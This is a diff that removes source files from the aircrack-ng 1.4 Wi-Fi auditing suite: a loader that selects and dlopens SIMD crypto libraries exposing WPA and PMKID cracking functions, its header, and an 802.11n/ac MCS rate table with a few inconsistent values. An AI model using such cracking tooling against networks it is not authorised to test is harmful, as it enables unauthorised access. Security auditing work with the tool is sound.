-#include "aircrack-crypto/crypto_engine.h"
-#include "crypto_engine_loader.h"
-#include "common.h"
-#include "trampoline.h"
-
-#ifndef STATIC_BUILD
-static void * module = NULL;
-#endif
-
-#ifdef STATIC_BUILD
-int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine)
-	= &ac_crypto_engine_init;
-void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine)
-	= &ac_crypto_engine_destroy;
-void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
-									   const uint8_t * essid)
-	= &ac_crypto_engine_set_essid;
-int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
-										int threadid)
-	= &ac_crypto_engine_thread_init;
-void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
-											int threadid)
-	= &ac_crypto_engine_thread_destroy;
-int (*dso_ac_crypto_engine_simd_width)(void) = &ac_crypto_engine_simd_width;
-int (*dso_ac_crypto_engine_wpa_crack)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t eapol[256],
-	uint32_t eapol_size,
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
-	uint8_t keyver,
-	const uint8_t cmpmic[20],
-	int nparallel,
-	int threadid)
-	= &ac_crypto_engine_wpa_crack;
-void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
-									  const uint8_t bssid[6],
-									  const uint8_t stmac[6],
-									  const uint8_t anonce[32],
-									  const uint8_t snonce[32],
-									  int threadid)
-	= &ac_crypto_engine_calc_pke;
-int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t pmkid[32],
-	int nparallel,
-	int threadid)
-	= &ac_crypto_engine_wpa_pmkid_crack;
-void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
-											const uint8_t bssid[6],
-											const uint8_t stmac[6],
-											int threadid)
-	= &ac_crypto_engine_set_pmkid_salt;
-int (*dso_ac_crypto_engine_supported_features)(void)
-	= &ac_crypto_engine_supported_features;
-uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
-										  int threadid,
-										  int index)
-	= &ac_crypto_engine_get_pmk;
-uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
-										  int threadid,
-										  int index)
-	= &ac_crypto_engine_get_ptk;
-void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
-										  const uint8_t * essid,
-										  uint32_t essid_length,
-										  uint8_t pmk[40])
-	= &ac_crypto_engine_calc_one_pmk;
-void (*dso_ac_crypto_engine_calc_pmk)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	int nparallel,
-	int threadid)
-	= &ac_crypto_engine_calc_pmk;
-void (*dso_ac_crypto_engine_calc_mic)(ac_crypto_engine_t * engine,
-									  const uint8_t eapol[256],
-									  const uint32_t eapol_size,
-									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
-												 [20],
-									  const uint8_t keyver,
-									  const int vectorIdx,
-									  const int threadid)
-	= &ac_crypto_engine_calc_mic;
-#else
-int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine) = NULL;
-void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine) = NULL;
-void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
-									   const uint8_t * essid)
-	= NULL;
-int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
-										int threadid)
-	= NULL;
-void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
-											int threadid)
-	= NULL;
-int (*dso_ac_crypto_engine_simd_width)(void) = NULL;
-int (*dso_ac_crypto_engine_wpa_crack)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t eapol[256],
-	uint32_t eapol_size,
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
-	uint8_t keyver,
-	const uint8_t cmpmic[20],
-	int nparallel,
-	int threadid)
-	= NULL;
-void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
-									  const uint8_t bssid[6],
-									  const uint8_t stmac[6],
-									  const uint8_t anonce[32],
-									  const uint8_t snonce[32],
-									  int threadid)
-	= NULL;
-int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t pmkid[32],
-	int nparallel,
-	int threadid)
-	= NULL;
-void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
-											const uint8_t bssid[6],
-											const uint8_t stmac[6],
-											int threadid)
-	= NULL;
-int (*dso_ac_crypto_engine_supported_features)(void) = NULL;
-uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
-										  int threadid,
-										  int index)
-	= NULL;
-uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
-										  int threadid,
-										  int index)
-	= NULL;
-void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
-										  const uint8_t * essid,
-										  uint32_t essid_length,
-										  uint8_t pmk[40])
-	= NULL;
-void (*dso_ac_crypto_engine_calc_pmk)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	int nparallel,
-	int threadid)
-	= NULL;
-void (*dso_ac_crypto_engine_calc_mic)(ac_crypto_engine_t * engine,
-									  const uint8_t eapol[256],
-									  const uint32_t eapol_size,
-									  uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED]
-												 [20],
-									  const uint8_t keyver,
-									  const int vectorIdx,
-									  const int threadid)
-	= NULL;
-#endif
-
-#if defined(CYGWIN)
-/*
-	This is merely a hack until code refactoring can occur.
-
-	A new module is needed for handling file and path operations, because
-	this here is only a step towards correctly getting the executable
-	path for all operating systems.
-
-	It was required for Cygwin to determine the location of the
-	Crypto Engine DLLs which are in the same folder as the
-	executable.
-*/
-#include <stdarg.h>
-#include <stdio.h>
-#include <wtypes.h>
-#include <wchar.h>
-#include <sys/cygwin.h>
-
-#include <windows.h>
-#include <shlwapi.h>
-
-static char * get_executable_directory(void)
-{
-	HMODULE hModule = GetModuleHandle(NULL);
-	CHAR path[MAX_PATH];
-
-	GetModuleFileNameA(hModule, path, MAX_PATH);
-	PathRemoveFileSpecA(path);
-
-	cygwin_conv_path_t flags = CCP_WIN_A_TO_POSIX;
-	char * winpath = (char *) cygwin_create_path(flags, path);
-
-	return winpath;
-}
-#endif
-
-EXPORT int ac_crypto_engine_loader_get_available(void)
-{
-	int simd_flags = SIMD_SUPPORTS_NONE;
-	char library_path[8192];
-
-#if defined(WIN32_PORTABLE)
-	char * working_directory = get_executable_directory();
-#else
-	// are we inside of the build path?
-	char * working_directory = get_current_working_directory();
-#endif
-
-	if (strncmp(working_directory, ABS_TOP_BUILDDIR, strlen(ABS_TOP_BUILDDIR))
-			== 0
-		|| strncmp(working_directory, ABS_TOP_SRCDIR, strlen(ABS_TOP_SRCDIR))
-			   == 0)
-	{
-		// use development paths
-		snprintf(library_path,
-				 sizeof(library_path) - 1,
-				 "%s%s",
-				 LIBAIRCRACK_CRYPTO_PATH,
-				 LT_OBJDIR);
-	}
-	else
-	{
-#if defined(WIN32_PORTABLE)
-		// use the current directory
-		snprintf(library_path, sizeof(library_path) - 1, working_directory);
-#else
-		// use installation paths
-		snprintf(library_path, sizeof(library_path) - 1, "%s", LIBDIR);
-#endif
-	}
-	free(working_directory);
-
-	// enumerate all DSOs in folder, opening, searching symbols, and testing
-	// them.
-	DIR * dsos = opendir(library_path);
-	if (!dsos) goto out;
-
-	struct dirent * entry = NULL;
-	while ((entry = readdir(dsos)) != NULL)
-	{
-#if defined(__APPLE__)
-		if (string_has_suffix((char *) entry->d_name, ".dylib"))
-#elif defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
-		if (string_has_suffix((char *) entry->d_name, ".dll"))
-#else
-		if (string_has_suffix((char *) entry->d_name, ".so"))
-#endif
-		{
-			char * search = strstr(entry->d_name, "aircrack-crypto-");
-
-			if (search)
-			{
-				search += 16;
-
-				int flag;
-				if ((flag = ac_crypto_engine_loader_string_to_flag(search))
-					!= -1)
-					simd_flags |= flag;
-			}
-		}
-	}
-
-	closedir(dsos);
-
-out:
-	return simd_flags;
-}
-
-EXPORT char * ac_crypto_engine_loader_best_library_for(int simd_features)
-{
-	char buffer[8192] = {"aircrack-crypto"};
-	char library_path[8192];
-	char module_filename[8192];
-	size_t buffer_remaining = 8192 - 1;
-
-	if (simd_features & SIMD_SUPPORTS_AVX512F)
-	{
-		strncat(buffer, "-x86-avx512", buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_AVX2)
-	{
-		strncat(buffer, "-x86-avx2", buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_AVX)
-	{
-		strncat(buffer, "-x86-avx", buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_SSE2)
-	{
-		strncat(buffer, "-x86-sse2", buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_ASIMD)
-	{
-		strncat(buffer, "-arm-neon", buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_NEON)
-	{
-		strncat(buffer, "-arm-neon", buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_POWER8)
-	{
-		strncat(buffer, "-ppc-power8", buffer_remaining);
-	}
-	else if (simd_features & SIMD_SUPPORTS_ALTIVEC)
-	{
-		strncat(buffer, "-ppc-altivec", buffer_remaining);
-	}
-
-	char * working_directory
-		= get_current_working_directory(); // or the binary's path?
-
-	if (strncmp(
-			working_directory, ABS_TOP_BUILDDIR, sizeof(ABS_TOP_BUILDDIR) - 1)
-			== 0
-		|| strncmp(
-			   working_directory, ABS_TOP_SRCDIR, sizeof(ABS_TOP_SRCDIR) - 1)
-			   == 0)
-	{
-		// use development paths
-		snprintf(library_path,
-				 sizeof(library_path) - 1,
-				 "%s%s",
-				 LIBAIRCRACK_CRYPTO_PATH,
-				 LT_OBJDIR);
-	}
-	else
-	{
-		// use installation paths
-		snprintf(library_path, sizeof(library_path) - 1, "%s", LIBDIR);
-	}
-	free(working_directory);
-
-	snprintf(module_filename,
-			 sizeof(module_filename) - 1,
-#if defined(WIN32_PORTABLE)
-			 "%s%s%s",
-#else
-			 "%s/%s%s%s",
-			 library_path,
-#endif
-#if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
-#if defined(MSYS2)
-			 "msys-",
-#else
-			 "cyg",
-#endif
-#else
-			 "lib",
-#endif
-			 buffer,
-#if defined(WIN32) || defined(_WIN32) || defined(CYGWIN)
-			 "-1-3-0.dll"
-#elif defined(__APPLE__)
-			 ".dylib"
-#else
-			 ".so"
-#endif
-			 )
-			< 0
-		? abort()
-		: (void) 0;
-
-	return strdup(module_filename);
-}
-
-EXPORT int ac_crypto_engine_loader_string_to_flag(const char * const str)
-{
-	int simd_features = -1;
-
-	if (strncmp(str, "avx512", 6) == 0 || strncmp(str, "x86-avx512", 10) == 0)
-		simd_features = SIMD_SUPPORTS_AVX512F;
-	else if (strncmp(str, "avx2", 4) == 0 || strncmp(str, "x86-avx2", 8) == 0)
-		simd_features = SIMD_SUPPORTS_AVX2;
-	else if (strncmp(str, "avx", 3) == 0 || strncmp(str, "x86-avx", 7) == 0)
-		simd_features = SIMD_SUPPORTS_AVX;
-	else if (strncmp(str, "sse2", 4) == 0 || strncmp(str, "x86-sse2", 8) == 0)
-		simd_features = SIMD_SUPPORTS_SSE2;
-	else if (strncmp(str, "neon", 4) == 0 || strncmp(str, "arm-neon", 8) == 0)
-		simd_features = SIMD_SUPPORTS_NEON;
-	else if (strncmp(str, "asimd", 5) == 0 || strncmp(str, "arm-asimd", 9) == 0)
-		simd_features = SIMD_SUPPORTS_ASIMD;
-	else if (strncmp(str, "altivec", 7) == 0
-			 || strncmp(str, "ppc-altivec", 11) == 0)
-		simd_features = SIMD_SUPPORTS_ALTIVEC;
-	else if (strncmp(str, "power8", 6) == 0
-			 || strncmp(str, "ppc-power8", 10) == 0)
-		simd_features = SIMD_SUPPORTS_POWER8;
-	else if (strncmp(str, "generic", 7) == 0)
-		simd_features = SIMD_SUPPORTS_NONE;
-
-	return simd_features;
-}
-
-EXPORT char * ac_crypto_engine_loader_flags_to_string(int flags)
-{
-	char buffer[8192] = {0};
-
-	if (flags & SIMD_SUPPORTS_AVX512F) strncat(buffer, "avx512 ", 8);
-	if (flags & SIMD_SUPPORTS_AVX2) strncat(buffer, "avx2 ", 6);
-	if (flags & SIMD_SUPPORTS_AVX) strncat(buffer, "avx ", 5);
-	if (flags & SIMD_SUPPORTS_SSE2) strncat(buffer, "sse2 ", 6);
-	if (flags & SIMD_SUPPORTS_NEON) strncat(buffer, "neon ", 6);
-	if (flags & SIMD_SUPPORTS_ASIMD) strncat(buffer, "asimd ", 7);
-	if (flags & SIMD_SUPPORTS_ALTIVEC) strncat(buffer, "altivec ", 9);
-	if (flags & SIMD_SUPPORTS_POWER8) strncat(buffer, "power8 ", 8);
-
-	strncat(buffer, "generic", 8);
-
-	return strdup(buffer);
-}
-
-EXPORT int ac_crypto_engine_loader_load(int flags)
-{
-#ifndef STATIC_BUILD
-	if (flags == -1) flags = ac_crypto_engine_loader_get_available();
-
-	char * module_filename = ac_crypto_engine_loader_best_library_for(flags);
-
-	module = dlopen(module_filename, RTLD_LAZY);
-	if (!module)
-	{
-		fprintf(
-			stderr, "Could not open '%s': %s\n", module_filename, dlerror());
-		free(module_filename);
-		return 1;
-	}
-
-	// resolve symbols needed
-	struct _dso_symbols
-	{
-		char const * sym;
-		void * addr;
-	} dso_symbols[] = {
-		{"ac_crypto_engine_init", (void *) &dso_ac_crypto_engine_init},
-		{"ac_crypto_engine_destroy", (void *) &dso_ac_crypto_engine_destroy},
-		{"ac_crypto_engine_thread_init",
-		 (void *) &dso_ac_crypto_engine_thread_init},
-		{"ac_crypto_engine_thread_destroy",
-		 (void *) &dso_ac_crypto_engine_thread_destroy},
-		{"ac_crypto_engine_set_essid",
-		 (void *) &dso_ac_crypto_engine_set_essid},
-		{"ac_crypto_engine_simd_width",
-		 (void *) &dso_ac_crypto_engine_simd_width},
-		{"ac_crypto_engine_wpa_crack",
-		 (void *) &dso_ac_crypto_engine_wpa_crack},
-		{"ac_crypto_engine_wpa_pmkid_crack",
-		 (void *) &dso_ac_crypto_engine_wpa_pmkid_crack},
-		{"ac_crypto_engine_calc_pke", (void *) &dso_ac_crypto_engine_calc_pke},
-		{"ac_crypto_engine_set_pmkid_salt",
-		 (void *) &dso_ac_crypto_engine_set_pmkid_salt},
-		{"ac_crypto_engine_supported_features",
-		 (void *) &dso_ac_crypto_engine_supported_features},
-		{"ac_crypto_engine_get_pmk", (void *) &dso_ac_crypto_engine_get_pmk},
-		{"ac_crypto_engine_get_ptk", (void *) &dso_ac_crypto_engine_get_ptk},
-		{"ac_crypto_engine_calc_one_pmk",
-		 (void *) &dso_ac_crypto_engine_calc_one_pmk},
-		{"ac_crypto_engine_calc_pmk", (void *) &dso_ac_crypto_engine_calc_pmk},
-		{"ac_crypto_engine_calc_mic", (void *) &dso_ac_crypto_engine_calc_mic},
-
-		{NULL, NULL}};
-
-	struct _dso_symbols * cur = &dso_symbols[0];
-
-	for (; cur->addr != NULL; ++cur)
-	{
-		if (!(*((void **) cur->addr) = dlsym(module, cur->sym)))
-		{
-			fprintf(stderr,
-					"Could not find symbol %s in %s.\n",
-					cur->sym,
-					module_filename);
-			dlclose(module);
-			free(module_filename);
-			return 1;
-		}
-	}
-
-	free(module_filename);
-#endif
-
-	return 0;
-}
-
-EXPORT void ac_crypto_engine_loader_unload(void)
-{
-#ifndef STATIC_BUILD
-	dlclose(module);
-	module = NULL;
-
-	dso_ac_crypto_engine_init = NULL;
-	dso_ac_crypto_engine_destroy = NULL;
-	dso_ac_crypto_engine_thread_init = NULL;
-	dso_ac_crypto_engine_thread_destroy = NULL;
-	dso_ac_crypto_engine_set_essid = NULL;
-	dso_ac_crypto_engine_simd_width = NULL;
-	dso_ac_crypto_engine_wpa_crack = NULL;
-	dso_ac_crypto_engine_calc_pke = NULL;
-	dso_ac_crypto_engine_supported_features = NULL;
-#endif
-}

aircrack-ng-1.4.tar.gz/src/aircrack-util/crypto_engine_loader.h Deleted

@@ -1,186 +0,0 @@
-/*
- * Copyright (C) 2018 Joseph Benden <joe@benden.us>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#ifndef AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H
-#define AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H
-
-#if defined(_MSC_VER)
-//  Microsoft
-#define EXPORT __declspec(dllexport)
-#define IMPORT __declspec(dllimport)
-#elif defined(__GNUC__) || defined(__llvm__) || defined(__clang__)             \
-	|| defined(__INTEL_COMPILER)
-#define EXPORT __attribute__((visibility("default")))
-#define IMPORT
-#else
-//  do nothing and hope for the best?
-#define EXPORT
-#define IMPORT
-#pragma warning Unknown dynamic link import / export semantics.
-#endif
-
-#define STATIC_ASSERT(COND, MSG)                                               \
-	typedef char static_assertion_##MSG[(!!(COND)) * 2 - 1]
-// token pasting madness:
-#define COMPILE_TIME_ASSERT3(X, L)                                             \
-	STATIC_ASSERT(X, static_assertion_at_line_##L)
-#define COMPILE_TIME_ASSERT2(X, L) COMPILE_TIME_ASSERT3(X, L)
-#define COMPILE_TIME_ASSERT(X) COMPILE_TIME_ASSERT2(X, __LINE__)
-
-#if defined(__GNUC__) || defined(__llvm__) || defined(__clang__)               \
-	|| defined(__INTEL_COMPILER)
-#define likely(x) __builtin_expect(!!(x), 1)
-#define unlikely(x) __builtin_expect(!!(x), 0)
-#else
-#define likely(x) (x)
-#define unlikely(x) (x)
-#endif
-
-#include <stdint.h>
-#include <stddef.h>
-
-#include "aircrack-crypto/crypto_engine.h"
-
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-/**
- * Returns an integer bit representation of the available SIMD
- * Aircrack-ng Crypto Engine modules for the runtime machine.
- *
- * @return Integer bit representation of SIMD flags.
- */
-IMPORT int ac_crypto_engine_loader_get_available(void);
-
-/**
- * Returns an absolute path to the best Aircrack-ng Crypto
- * library to load. The caller \b MUST deallocate the
- * returned memory using \a free!
- *
- * @param simd_features Integer bit representation of SIMD flags.
- * @return character sequence that must be deallocated by caller.
- */
-IMPORT char * ac_crypto_engine_loader_best_library_for(int simd_features);
-
-/// Produces an integer bit representation of a SIMD character sequence.
-IMPORT int ac_crypto_engine_loader_string_to_flag(const char * const str);
-
-/**
- * Produces a character representation of the SIMD integer flags.
- *
- * All selected bits of \a flags are converted; producing a space
- * separated string representation.
- *
- * Caller \b MUST deallocate the returned value using \a free
- *
- * @param flags Integer bit representation of SIMD flags.
- * @return character sequence that must be deallocated by caller.
- */
-IMPORT char * ac_crypto_engine_loader_flags_to_string(int flags);
-
-/// Loads the specified Aircrack-ng Crypto Engine specified by \a flags.
-/// Does nothing in a static build.
-IMPORT int ac_crypto_engine_loader_load(int flags);
-
-/// Unloads the Aircrack-ng Crypto Engine. Does nothing in a static build.
-IMPORT void ac_crypto_engine_loader_unload(void);
-
-// Symbols defined by the loader.
-
-extern int (*dso_ac_crypto_engine_init)(ac_crypto_engine_t * engine);
-extern void (*dso_ac_crypto_engine_destroy)(ac_crypto_engine_t * engine);
-extern void (*dso_ac_crypto_engine_set_essid)(ac_crypto_engine_t * engine,
-											  const uint8_t * essid);
-extern int (*dso_ac_crypto_engine_thread_init)(ac_crypto_engine_t * engine,
-											   int threadid);
-extern void (*dso_ac_crypto_engine_thread_destroy)(ac_crypto_engine_t * engine,
-												   int threadid);
-extern int (*dso_ac_crypto_engine_simd_width)(void);
-extern int (*dso_ac_crypto_engine_wpa_crack)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t eapol[256],
-	uint32_t eapol_size,
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
-	uint8_t keyver,
-	const uint8_t cmpmic[20],
-	int nparallel,
-	int threadid);
-extern int (*dso_ac_crypto_engine_wpa_pmkid_crack)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	const uint8_t pmkid[32],
-	int nparallel,
-	int threadid);
-extern void (*dso_ac_crypto_engine_set_pmkid_salt)(ac_crypto_engine_t * engine,
-												   const uint8_t bssid[6],
-												   const uint8_t stmac[6],
-												   int threadid);
-extern void (*dso_ac_crypto_engine_calc_pke)(ac_crypto_engine_t * engine,
-											 const uint8_t bssid[6],
-											 const uint8_t stmac[6],
-											 const uint8_t anonce[32],
-											 const uint8_t snonce[32],
-											 int threadid);
-extern int (*dso_ac_crypto_engine_supported_features)(void);
-extern uint8_t * (*dso_ac_crypto_engine_get_pmk)(ac_crypto_engine_t * engine,
-												 int threadid,
-												 int index);
-extern uint8_t * (*dso_ac_crypto_engine_get_ptk)(ac_crypto_engine_t * engine,
-												 int threadid,
-												 int index);
-extern void (*dso_ac_crypto_engine_calc_one_pmk)(const uint8_t * key,
-												 const uint8_t * essid,
-												 uint32_t essid_length,
-												 uint8_t pmk[40]);
-extern void (*dso_ac_crypto_engine_calc_pmk)(
-	ac_crypto_engine_t * engine,
-	const wpapsk_password key[MAX_KEYS_PER_CRYPT_SUPPORTED],
-	int nparallel,
-	int threadid);
-extern void (*dso_ac_crypto_engine_calc_mic)(
-	ac_crypto_engine_t * engine,
-	const uint8_t eapol[256],
-	const uint32_t eapol_size,
-	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
-	const uint8_t keyver,
-	const int vectorIdx,
-	const int threadid);
-
-// End symbols defined by the loader.
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif // AIRCRACK_NG_CRYPTO_ENGINE_LOADER_H

aircrack-ng-1.4.tar.gz/src/aircrack-util/mcs_index_rates.c Deleted

@@ -1,180 +0,0 @@
-/*
- * Functions and macros to obtain 802.11n or ac rates based on MCS index
- *
- * Copyright (C) 2018 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful, but
- * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
- * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
- * NON-INFRINGEMENT.  See the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
- * MA 02110-1301, USA.
- *
- * In addition, as a special exception, the copyright holders give
- * permission to link the code of portions of this program with the
- * OpenSSL library under certain conditions as described in each
- * individual source file, and distribute linked combinations
- * including the two.
- * You must obey the GNU General Public License in all respects
- * for all of the code used other than OpenSSL.  If you modify
- * file(s) with this exception, you may extend this exception to your
- * version of the file(s), but you are not obligated to do so.  If you
- * do not wish to do so, delete this exception statement from your
- * version.  If you delete this exception statement from all source
- * files in the program, then also delete it here.
- */
-
-#include "mcs_index_rates.h"
-#include <stdint.h>
-
-// http://mcsindex.com/
-
-// 20/40/80/160MHz -> (0, 1, 2, 3)
-// 0: long GI, 1: short GI
-// amount of spatial streams (minus 1)
-// MCS index
-const float MCS_index_rates[4][2][8][10] = {
-	// 20MHz
-	{// Long GI
-	 {// Spatial streams
-	  {6.5, 13.0, 19.5, 26, 39, 52, 58.5, 65, 78, 0},
-	  {13, 26, 39, 52, 78, 104, 117, 130, 156, 0},
-	  {19.5, 39, 58.5, 78, 117, 156, 175.5, 195, 234, 260},
-	  {26, 52, 78, 104, 156, 208, 134, 260, 312, 0}},
-	 // Short GI
-	 {{7.2, 14.4, 21.7, 28.9, 43.3, 57.8, 65, 72.2, 86.7, 0},
-	  {14.4, 28.9, 43.3, 57.8, 86.7, 115.6, 130.3, 144.4, 173.3, 0},
-	  {21.7, 43.3, 65, 86.7, 130, 173.3, 195, 216.7, 260, 288.9},
-	  {28.9, 57.8, 56.7, 115.6, 173.3, 231.1, 260, 288.9, 346.7, 0}}},
-	// 40MHz
-	{// Long GI
-	 {{13.5, 27, 40.5, 54, 81, 108, 121.5, 135, 162, 180},
-	  {27, 54, 81, 108, 162, 216, 243, 270, 324, 360},
-	  {40.5, 81, 121.5, 162, 243, 324, 364.5, 405, 486, 540},
-	  {54, 108, 162, 216, 324, 432, 486, 540, 648, 720}},
-	 // Short GI
-	 {{15, 30, 45, 60, 90, 120, 135, 150, 180, 200},
-	  {30, 60, 90, 120, 180, 240, 270, 300, 360, 400},
-	  {45, 90, 135, 180, 270, 360, 405, 450, 540, 600},
-	  {60, 120, 180, 240, 360, 480, 540, 600, 720, 800}}},
-	// 80MHz
-	{// Long GI
-	 {{29.3, 58.5, 87.8, 117, 175.5, 234, 263.3, 292.5, 351, 390},
-	  {58.5, 117, 175.5, 234, 351, 468, 526.5, 585, 702, 780},
-	  {87.8, 175.5, 263.3, 351, 526.5, 702, 0, 877.5, 1053, 1170},
-	  {117, 234, 351, 468, 702, 936, 1053, 1170, 1404, 1560},
-	  {146.3, 292.5, 438.8, 585, 877.5, 1170, 1316.3, 1462.5, 1755, 1950},
-	  {175.5, 351, 526.5, 702, 1053, 1404, 1579.5, 1755, 2106, 0},
-	  {204.8, 409.5, 614.3, 819, 1228.5, 1638, 0, 2047.5, 2457, 2730},
-	  {234, 468, 702, 936, 1404, 1872, 2106, 2340, 2808, 3120}},
-	 // Short GI
-	 {{32.5, 65, 97.5, 130, 195, 260, 292.5, 325, 390, 433.3},
-	  {65, 130, 195, 260, 390, 520, 585, 650, 780, 866.7},
-	  {97.5, 195, 292.5, 390, 585, 780, 0, 975, 1170, 1300},
-	  {130, 260, 390, 520, 780, 1040, 1170, 1300, 1560, 1733.3},
-	  {162.5, 325, 487.5, 650, 975, 1300, 1462.5, 1625, 1950, 2166.7},
-	  {195, 390, 585, 780, 1170, 1560, 1755, 1950, 2340, 0},
-	  {227.5, 455, 682.5, 910, 1365, 1820, 0, 2275, 2730, 3033.3},
-	  {260, 520, 780, 1040, 1560, 2080, 2340, 2600, 3120, 3466.7}}},
-	// 160MHz
-	{// Long GI
-	 {{58.5, 117, 175.5, 234, 351, 468, 526.5, 585, 702, 780},
-	  {117, 234, 351, 468, 702, 936, 1053, 1170, 1404, 1560},
-	  {175.5, 351, 526.5, 702, 1053, 1404, 1579.5, 1755, 2106, 0},
-	  {234, 468, 702, 936, 1404, 1872, 2106, 2340, 2808, 3120},
-	  {292.5, 585, 877.5, 1170, 1755, 2340, 2632.5, 2925, 3510, 3900},
-	  {351, 702, 1053, 1404, 2106, 2808, 3159, 3510, 4212, 4680},
-	  {409.5, 819, 1228.5, 1638, 2457, 3276, 3685.5, 4095, 4914, 5460},
-	  {468, 936, 1404, 1872, 2808, 3744, 4212, 4680, 5616, 6240}},
-	 // Short GI
-	 {{65, 130, 195, 260, 390, 520, 585, 650, 780, 866.7},
-	  {130, 260, 390, 520, 780, 1040, 1170, 1300, 1560, 1733.3},
-	  {195, 390, 585, 780, 1170, 1560, 1755, 1950, 2340, 0},
-	  {260, 520, 780, 1040, 1560, 2080, 2340, 2600, 3120, 3466.7},
-	  {325, 650, 975, 1300, 1950, 2600, 2925, 3250, 3900, 4333.3},
-	  {390, 780, 1170, 1560, 2340, 3120, 3510, 3900, 4680, 5200},
-	  {455, 910, 1365, 1820, 2730, 3640, 4095, 4550, 5460, 6066.7},
-	  {520, 1040, 1560, 2080, 3120, 4160, 4680, 5200, 6240, 6933.3}}}};
-
-float get_80211n_rate(const int width,
-					  const int is_short_GI,
-					  const int mcs_index)
-{
-	// Check MCS Index
-	if (mcs_index < 0 || mcs_index > 31)
-	{
-		return -1.0;
-	}
-	uint8_t amount_ss = mcs_index / 8;
-	uint8_t mcs_idx = mcs_index % 8;
-
-	// Rate index
-	uint8_t width_idx = 0;
-	switch (width)
-	{
-		case 20:
-			width_idx = 0;
-			break;
-		case 40:
-			width_idx = 1;
-			break;
-		default:
-			return -1.0;
-	}
-
-	// Short GI?
-	uint8_t sgi = !!is_short_GI;
-
-	return MCS_index_rates[width_idx][sgi][amount_ss][mcs_idx];
-}
-
